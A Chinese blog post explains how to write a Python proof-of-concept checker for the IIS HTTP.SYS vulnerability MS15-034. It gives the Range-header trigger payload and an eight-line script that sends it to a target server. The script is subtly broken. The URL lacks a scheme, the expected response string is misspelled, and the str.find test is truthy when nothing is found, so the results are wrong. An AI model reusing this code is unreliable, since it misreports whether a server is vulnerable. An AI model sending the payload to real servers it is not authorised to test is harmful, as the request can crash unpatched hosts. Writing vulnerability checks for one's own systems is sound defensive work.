用Python編寫(xiě)Web漏洞檢測(cè)工具

作為單位的網(wǎng)絡(luò)安全管理員,經(jīng)常會(huì)遇到這樣的情況,某些漏洞在互聯(lián)網(wǎng)上被批露后,在用的掃描工具卻無(wú)法及時(shí)集成。

遇到這種情況,領(lǐng)導(dǎo)會(huì)說(shuō):“自己想辦法,抓緊檢測(cè)是否有這個(gè)漏洞?!焙芏嗳藭?huì)告訴你可以用自行編寫(xiě)Poc這個(gè)方法,指的就是根據(jù)漏洞的簡(jiǎn)單原理寫(xiě)出對(duì)應(yīng)的漏洞檢測(cè)代碼,用來(lái)驗(yàn)證漏洞是否存在。那么如何編寫(xiě)Poc呢?可能你會(huì)把它想象的無(wú)比困難。

Python的出現(xiàn),極大簡(jiǎn)化了Poc的編寫(xiě)過(guò)程,我們不需要再把時(shí)間浪費(fèi)在網(wǎng)絡(luò)連接、發(fā)送HTTP數(shù)據(jù)等繁瑣的雜事上。以15年打擊面最廣的“HTTP.SYS遠(yuǎn)程執(zhí)行代碼漏洞”(ms15-034)為例,編寫(xiě)Poc只需要兩個(gè)步驟。

第一步:簡(jiǎn)單了解漏洞觸發(fā)機(jī)制

在網(wǎng)上可以搜索到,這個(gè)漏洞觸發(fā)機(jī)制就是:使用IIS作為WEB容器可能存在編號(hào)為MS-15034的遠(yuǎn)程代碼執(zhí)行漏洞,可以發(fā)送測(cè)試代碼,若返回“Requested Range Not Satisfiable”則證明存在此漏洞。

下面就是被公布的測(cè)試代碼:

 Host: stuff
 Range: bytes=0-" + hexAllFfff

簡(jiǎn)單來(lái)說(shuō),要驗(yàn)證是否存在漏洞,只要把測(cè)試代碼發(fā)送到目標(biāo)服務(wù)器上,進(jìn)行驗(yàn)證即可,而這就是利用Python編寫(xiě)Web漏洞檢測(cè)工具(Poc)的過(guò)程。

第二步:用Python編寫(xiě)漏洞檢測(cè)具體代碼

代碼只有8行,我進(jìn)行了詳細(xì)注釋,直接貼出來(lái)。

import requests # 發(fā)送web請(qǐng)求所需的庫(kù)
url = '127.0.0.1' # 需要測(cè)試的服務(wù)器IP
payload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'} # 測(cè)試代碼
r1 = requests.get(url, headers=payload) #發(fā)送測(cè)試代碼
if str(r1.content).find('Requested Range Not Satisfialbe'): # 檢查返回結(jié)果
    print('{}有ms15-034漏洞'.format(url))
else:
    print('{}不存在ms15-034漏洞'.format(url))

簡(jiǎn)單兩步加上8行代碼,就完成了一個(gè)ms15-034漏洞檢測(cè)工具。當(dāng)然,實(shí)際應(yīng)用還有很多需要完善的地方,那就自己動(dòng)手吧

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 在房間里躲著太陽(yáng) 透過(guò)窗觀望它 想起 那些我們并肩走過(guò)的地方 那些我們打鬧過(guò)的學(xué)校走廊 那些我們嘩啦翻響過(guò)的書(shū)本 ...
    簡(jiǎn)拾光閱讀 435評(píng)論 0 0
  • 焦點(diǎn)講師一期班洛陽(yáng)劉琳?qǐng)?jiān)持分享第261天 總感覺(jué)這個(gè)年過(guò)的好快呀,一轉(zhuǎn)眼又到了工作和學(xué)習(xí)的時(shí)間了。這幾天真...
    小溪與大海閱讀 319評(píng)論 1 1
  • 陳海清閱讀 158評(píng)論 0 1
  • 今日拳課。該學(xué)彎弓射虎之發(fā)力。我比較拒斥學(xué)新課,因?yàn)榘l(fā)現(xiàn)根基不牢固。老師認(rèn)為不妨:一則新動(dòng)作不脫離云手,二則不同的...
    蘇梅LI閱讀 180評(píng)論 0 3

友情鏈接更多精彩內(nèi)容